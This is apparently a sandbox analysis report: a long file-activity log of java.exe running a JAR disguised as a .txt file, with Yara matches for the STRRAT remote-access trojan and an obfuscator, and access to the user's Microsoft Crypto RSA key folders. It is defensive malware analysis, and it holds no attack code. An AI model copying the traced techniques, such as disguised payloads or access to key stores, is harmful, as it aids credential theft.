C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 4 success or wait 2 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 4 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 8192 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 8192 end of file 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 3 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 4 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 128 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\java.security unknown 8192 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\java.security unknown 8192 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\java.security unknown 8192 end of file 1 6DD59F67 ReadFile
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C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 4 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 128 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 4 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 128 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 30 success or wait 3 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 4 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 128 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\US_export_policy.jar unknown 4 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\US_export_policy.jar unknown 128 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\US_export_policy.jar unknown 407 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\US_export_policy.jar unknown 149 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\US_export_policy.jar unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\local_policy.jar unknown 4 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\policy\unlimited\local_policy.jar unknown 128 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 8192 success or wait 6 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 3 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\blacklisted.certs unknown 8192 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\blacklisted.certs unknown 8192 end of file 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\cacerts unknown 8192 success or wait 8 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 6DD59F67 ReadFile
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C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 4 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 1826 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\security\cacerts unknown 16384 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 118 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-
4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba_d06ed635-68f6-4e9a-955c-
4899f5f57b9a

unknown 45 success or wait 1 6DD57663 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\net.properties unknown 8192 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\net.properties unknown 8192 end of file 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 3 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile
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C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 4 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunmscapi.jar unknown 4 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunmscapi.jar unknown 128 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\resources.jar unknown 4 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\resources.jar unknown 128 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 3 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\resources.jar unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\resources.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\resources.jar unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\resources.jar unknown 8192 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 4 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 1396 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 1024 success or wait 45 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 1024 end of file 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

File Path Offset Length Completion Count
Source
Address Symbol
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File ActivitiesFile Activities

Start time: 21:04:26

Start date: 23/02/2021

Path: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\vmlpusjwhz.txt'

Imagebase: 0xf0000

File size: 192376 bytes

MD5 hash: 28733BA8C383E865338638DF5196E6FE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
0000000D.00000002.253231810.000000000A5A0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 
0000000D.00000002.252958465.0000000005427000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 
0000000D.00000002.252569519.00000000051C5000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
0000000D.00000002.253164708.000000000A56E000.00000004.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\hsperfdata_user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6D868C5B CreateDirectoryA

C:\Users\user\AppData\Local\Temp\hsperfdata_user\720 read attributes | 
delete | syn
chronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
delete on close

success or wait 1 6D868D58 CreateFileA

C:\Users\user\AppData\Local\Temp\jna-99048687 read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 6DD5845C CreateDirectoryW

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
